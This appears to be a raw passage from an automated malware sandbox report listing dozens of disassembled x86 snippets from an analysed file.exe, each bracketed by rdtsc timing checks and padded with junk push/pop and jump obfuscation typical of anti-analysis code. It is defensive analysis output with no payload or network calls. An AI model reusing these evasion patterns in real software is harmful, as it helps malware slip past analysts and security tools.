Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2696 second address: CC26D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F5930C603F8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 stc 0x00000022 lea eax, dword ptr [ebp+12476010h] 0x00000028 or cx, E38Ah 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 jmp 00007F5930C603FAh 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC26D6 second address: CA7603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c clc 0x0000000d lea eax, dword ptr [ebp+12475FCCh] 0x00000013 mov edx, dword ptr [ebp+122D38DCh] 0x00000019 nop 0x0000001a jmp 00007F5930BD337Ch 0x0000001f push eax 0x00000020 jmp 00007F5930BD337Ah 0x00000025 nop 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F5930BD3378h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 sub dx, 94FEh 0x00000045 jbe 00007F5930BD3379h 0x0000004b call dword ptr [ebp+122D1F0Ch] 0x00000051 push eax 0x00000052 push edx 0x00000053 jbe 00007F5930BD337Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b push ebx 0x0000005c pop ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D074FD second address: D0751F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 ja 00007F5930C603F6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5930C603FAh 0x00000017 jp 00007F5930C603F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D076B4 second address: D076C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A513 second address: D0A517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A517 second address: D0A51D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A51D second address: D0A53D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FAh 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F5930C603FAh 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A53D second address: D0A54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A54A second address: D0A54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A7E4 second address: D0A7FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5930BD337Dh 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A7FF second address: D0A80C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F5930C603F6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CF47 second address: D0CF4D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CF4D second address: D0CF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F5930C603F6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jg 00007F5930C603F6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CF65 second address: D0CF6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CF6B second address: D0CF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1350E second address: D13533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jno 00007F5930BD3376h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jmp 00007F5930BD3385h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11FD9 second address: D11FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11FDD second address: D1200B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jnp 00007F5930BD3378h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 jmp 00007F5930BD3389h 0x00000016 pop eax 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12162 second address: D1216C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1216C second address: D12170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D122F6 second address: D122FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D122FC second address: D12300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2091 second address: CC2095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2095 second address: CC2133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5930BD3378h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dx, A159h 0x0000002a mov dword ptr [ebp+122D2060h], ecx 0x00000030 mov ebx, dword ptr [ebp+1247600Bh] 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F5930BD3378h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 jmp 00007F5930BD3382h 0x00000055 mov ecx, dword ptr [ebp+122D3654h] 0x0000005b add eax, ebx 0x0000005d pushad 0x0000005e or si, 0E95h 0x00000063 popad 0x00000064 push eax 0x00000065 js 00007F5930BD33A7h 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F5930BD3389h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12755 second address: D1275B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1275B second address: D1275F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1275F second address: D1277C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5930C603F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007F5930C603F6h 0x00000017 pop ecx 0x00000018 push ebx 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D131AD second address: D131CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F5930BD3376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F5930BD3376h 0x00000014 jmp 00007F5930BD337Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D131CD second address: D131EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5930C60402h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D131EE second address: D131F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D131F2 second address: D13202 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnc 00007F5930C603F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15AB8 second address: D15AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F5930BD3376h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15AC5 second address: D15AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15C57 second address: D15C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930BD337Eh 0x00000008 jmp 00007F5930BD3387h 0x0000000d jmp 00007F5930BD337Ah 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F5930BD3376h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15C92 second address: D15CAB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 jnc 00007F5930C603FCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A515 second address: D1A53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F5930BD3376h 0x0000000d jmp 00007F5930BD3388h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A53A second address: D1A53E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A53E second address: D1A54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A7F0 second address: D1A805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60400h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A805 second address: D1A80A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A80A second address: D1A810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A978 second address: D1A9A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F5930BD3376h 0x00000011 jmp 00007F5930BD3386h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AAEF second address: D1AAF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AAF7 second address: D1AAFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AAFB second address: D1AB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5930C603FAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB13 second address: D1AB19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB19 second address: D1AB1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB1F second address: D1AB25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22060 second address: D22066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2009C second address: D200EE instructions: 0x00000000 rdtsc 0x00000002 je 00007F5930BD3382h 0x00000008 jl 00007F5930BD3376h 0x0000000e jno 00007F5930BD3376h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F5930BD337Bh 0x0000001d jmp 00007F5930BD3384h 0x00000022 jmp 00007F5930BD3380h 0x00000027 jbe 00007F5930BD3376h 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D200EE second address: D20110 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jns 00007F5930C603F6h 0x0000000d jnp 00007F5930C603F6h 0x00000013 pop edi 0x00000014 push ecx 0x00000015 jmp 00007F5930C603FBh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D206CF second address: D206EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F5930BD337Fh 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D209D9 second address: D209E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20CFA second address: D20D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20D04 second address: D20D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5930C603F6h 0x0000000a pop esi 0x0000000b js 00007F5930C60409h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F5930C60401h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20D28 second address: D20D2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21277 second address: D2127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21AAB second address: D21AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21AAF second address: D21AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5930C603F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007F5930C603F6h 0x00000013 jmp 00007F5930C60402h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AE95 second address: D2AEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F5930BD3376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A52F second address: D2A537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A537 second address: D2A546 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5930BD3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A546 second address: D2A54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A54C second address: D2A552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A6F2 second address: D2A6F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A6F6 second address: D2A6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A6FC second address: D2A721 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5930C60406h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5930C603FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DB66 second address: D2DB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DB6C second address: D2DB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F5930C60402h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DB83 second address: D2DBD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5930BD337Ch 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jmp 00007F5930BD3380h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F5930BD3389h 0x00000018 push esi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F5930BD3380h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3365B second address: D3365F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33955 second address: D33992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Ch 0x00000007 jmp 00007F5930BD3387h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F5930BD3381h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34AA7 second address: D34AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F5930C603FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34AB4 second address: D34ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34ABF second address: D34AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34AC3 second address: D34AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34AC7 second address: D34ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33007 second address: D33026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jne 00007F5930BD337Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33026 second address: D33032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5930C603FEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3BF0E second address: D3BF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD337Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C35 second address: D48C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C39 second address: D48C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D486BD second address: D486C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48825 second address: D48831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48831 second address: D48853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60409h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48853 second address: D48859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A57F second address: D4A597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5930C603FFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A597 second address: D4A59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A59D second address: D4A5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5930C603F6h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F5930C60406h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 jo 00007F5930C603FCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
